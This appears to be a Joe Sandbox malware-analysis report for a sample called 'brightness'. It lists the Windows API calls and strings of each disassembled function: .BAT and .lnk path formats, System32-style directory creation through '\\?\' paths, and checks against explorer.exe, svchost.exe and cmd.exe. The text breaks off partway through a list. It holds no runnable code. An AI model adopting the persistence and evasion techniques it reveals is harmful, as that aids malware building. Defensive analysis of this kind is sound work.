SHGetKnownFolderPath.SHELL32(002F7BF0,00000000,00000000,?), ref: 002D3196
__snwprintf.LIBCMT ref: 002D31B7
CoTaskMemFree.COMBASE(?), ref: 002D31CD
LocalFree.KERNEL32(00000000), ref: 002D31D7
SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,?), ref: 002D31EA
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D31FF
__snwprintf.LIBCMT ref: 002D3229
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D3238
__snwprintf.LIBCMT ref: 002D3263
LocalFree.KERNEL32(00000000), ref: 002D3283
LocalFree.KERNEL32(00000000), ref: 002D328D
CoTaskMemFree.COMBASE(?), ref: 002D3297

Strings

%s\%s\%s.BAT, xrefs: 002D3255
{A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}, xrefs: 002D3212, 002D324C
{CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}, xrefs: 002D31A0
%s\%s, xrefs: 002D321B
{01CD18C6-8DB4-4D19-901B-142FFEF41E7A}, xrefs: 002D3247
%s\%s.lnk, xrefs: 002D31A9

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc__snwprintf$FolderKnownPathTask
String ID: %s\%s$%s\%s.lnk$%s\%s\%s.BAT${01CD18C6-8DB4-4D19-901B-142FFEF41E7A}${A6378F27-E3E4-43B5-A4A9-3CD42AEFDEDB}${CE5FE0A8-A9F0-4F3E-AFBA-6983C4611B86}
API String ID: 1448958825-2404616322
Opcode ID: 6a55b9fb1844b6185f32202204f38de8585dc583e3a9fa963778d6cc422f3a63
Instruction ID: f7ca6b2b4b74a41e2d523e201d5230efb7c9962cff48879333bdfb607a392ebe
Opcode Fuzzy Hash: 6a55b9fb1844b6185f32202204f38de8585dc583e3a9fa963778d6cc422f3a63
Instruction Fuzzy Hash: C1318375E5030ABBD710EBA4DC8AFBE7779AF44700F104525F60177280DAB4AA50CB65

Function 002C8CD0 Relevance: 31.8, APIs: 17, Strings: 1, Instructions: 300memoryCOMMON

Download Yara Rule

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002C8D3E
StrStrIW.SHLWAPI(00000000,.DLL), ref: 002C8D68
LocalAlloc.KERNEL32(00000040,000000FF), ref: 002C8DBF

Strings

.DLL, xrefs: 002C8D5F

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: AllocLocal
String ID: .DLL
API String ID: 3494564517-899428287
Opcode ID: 1e80739743796b736a761679a296f6a97822ad602985cec5cc24f5a7d75fc7da
Instruction ID: a8ec26db929fad45013ff6006d32be13558c038b9b7ab89c9752c31baabd0eb8
Opcode Fuzzy Hash: 1e80739743796b736a761679a296f6a97822ad602985cec5cc24f5a7d75fc7da
Instruction Fuzzy Hash: 79C13B71E10209EBDB14DFE4DC89FAEBB75BF48304F208618E615BB290DB75A991CB50

Function 002D3450 Relevance: 31.6, APIs: 16, Strings: 2, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

SHGetKnownFolderPath.SHELL32(002F7C30,00000000,00000000,00000000), ref: 002D346D
_memset.LIBCMT ref: 002D3492
__snwprintf.LIBCMT ref: 002D34D5
CreateDirectoryW.KERNEL32(?,00000000), ref: 002D34E6
GetLastError.KERNEL32 ref: 002D3508
LocalAlloc.KERNEL32(00000040,00000208), ref: 002D3520
__snwprintf.LIBCMT ref: 002D3551
CreateDirectoryW.KERNEL32(00000000,00000000), ref: 002D3575
LocalAlloc.KERNEL32(00000040,00000208), ref: 002D3591
_memmove.LIBCMT ref: 002D35C2
CoTaskMemFree.COMBASE(00000000), ref: 002D35CE
LocalFree.KERNEL32(00000000), ref: 002D35DB
RemoveDirectoryW.KERNEL32(00000000), ref: 002D35F0
LocalFree.KERNEL32(00000000), ref: 002D35FD
RemoveDirectoryW.KERNEL32(?), ref: 002D360A
CoTaskMemFree.COMBASE(00000000), ref: 002D3614

Strings

%s\System32, xrefs: 002D3540
\\?\%s , xrefs: 002D34C4

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: DirectoryFreeLocal$AllocCreateRemoveTask__snwprintf$ErrorFolderKnownLastPath_memmove_memset
String ID: %s\System32$\\?\%s
API String ID: 1001877520-2868705786
Opcode ID: 203dd75b3f4b77b51f4c75d216e01cd650ef5138a54103fd72a3ff1bbd079024
Instruction ID: 3ed4c355d99da4e6f0f0810dfb5b7b0aad4c06be96888ecc8bf487eacd1cbdeb
Opcode Fuzzy Hash: 203dd75b3f4b77b51f4c75d216e01cd650ef5138a54103fd72a3ff1bbd079024
Instruction Fuzzy Hash: 4B419F74990218ABDB20EFA0DC8DBEAB778AB58701F1049D5F109A7280D7709F90CF94

Function 002CB6D0 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 117memoryfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002CFE20: SHGetKnownFolderPath.SHELL32(?,00000000,00000000,?), ref: 002CFE74
Part of subcall function 002CFE20: LocalAlloc.KERNEL32(00000040,?), ref: 002CFEB2
Part of subcall function 002CFE20: __snwprintf.LIBCMT ref: 002CFEDA
Part of subcall function 002CFE20: CoTaskMemFree.COMBASE(?), ref: 002CFEF5

CreateDirectoryW.KERNEL32(00000000,00000000), ref: 002CB701
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CB724
__snwprintf.LIBCMT ref: 002CB74E
CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000002,00000080,00000000), ref: 002CB773
GetLastError.KERNEL32 ref: 002CB77C
LocalFree.KERNEL32(00000000), ref: 002CB7FC
LocalFree.KERNEL32(00000000), ref: 002CB806
LocalFree.KERNEL32(00000000), ref: 002CB851

Strings

P, xrefs: 002CB795
%s%s, xrefs: 002CB740

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocCreate__snwprintf$DirectoryErrorFileFolderKnownLastPathTask
String ID: %s%s$P
API String ID: 166357771-50959982
Opcode ID: ba7af5ea3043255155586f561c05ba95e5db42fbacd2e89a77073c2f38b9c33d
Instruction ID: 5c47263a307cbb84b20924752df853f3c868615163b5cc21bb168aa012e9181f
Opcode Fuzzy Hash: ba7af5ea3043255155586f561c05ba95e5db42fbacd2e89a77073c2f38b9c33d
Instruction Fuzzy Hash: 77413975D20209ABDB11DFE4DC8AFEEBB79AB48711F104628F211B6290C7749980CFA1

Function 002CBA30 Relevance: 28.1, APIs: 14, Strings: 2, Instructions: 92memoryfilesynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 002CBA41
SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,?), ref: 002CBA5F
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002CBA74
__snwprintf.LIBCMT ref: 002CBA9E
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 002CBAC0
CloseHandle.KERNEL32(000000FF), ref: 002CBAEF
LocalFree.KERNEL32(00000000), ref: 002CBB00
CoTaskMemFree.COMBASE(?), ref: 002CBB0A
OpenEventW.KERNEL32(00100002,00000000,{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}), ref: 002CBB1C
SetEvent.KERNEL32(00000000), ref: 002CBB2F
CloseHandle.KERNEL32(00000000), ref: 002CBB39
CloseHandle.KERNEL32(000000FF), ref: 002CBB4B
LocalFree.KERNEL32(00000000), ref: 002CBB55
CoTaskMemFree.COMBASE(?), ref: 002CBB5F

Strings

{D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}, xrefs: 002CBB10
%s\%s, xrefs: 002CBA90

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Free$CloseHandleLocal$EventTask$AllocCreateFileFolderKnownObjectOpenPathSingleWait__snwprintf
String ID: %s\%s${D827D600-80D1-4C2D-8EEC-3155ACB9C3F3}
API String ID: 1432346771-583052920
Opcode ID: db82db0073558e9d70bbacafcca3da4056f108ee28812dbf7e4d19bb8199c811
Instruction ID: ee30ce8f23ec191e2a52df376a9f2b8dcd3af54c54ec0cab01e0f502b0463940
Opcode Fuzzy Hash: db82db0073558e9d70bbacafcca3da4056f108ee28812dbf7e4d19bb8199c811
Instruction Fuzzy Hash: 8F318D75A60305EBDB269FA4DC8EFADBB78AB04711F104658F611A62E0C7B49A50CF10

Function 002CB860 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 124COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 002CB880
_memset.LIBCMT ref: 002CB8BB
_memset.LIBCMT ref: 002CB8F4
_memset.LIBCMT ref: 002CB92D
__snwprintf.LIBCMT ref: 002CB94D
_memset.LIBCMT ref: 002CB96C
__snwprintf.LIBCMT ref: 002CB98C
_memset.LIBCMT ref: 002CB9AB
__snwprintf.LIBCMT ref: 002CB9CB
StrCmpIW.SHLWAPI(?,?), ref: 002CB9E1
StrCmpIW.SHLWAPI(?,?), ref: 002CB9F9
StrCmpIW.SHLWAPI(?,?), ref: 002CBA11

Strings

%s\cmd.exe, xrefs: 002CB9BA
%s\svchost.exe, xrefs: 002CB97B
%s\explorer.exe, xrefs: 002CB93C

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
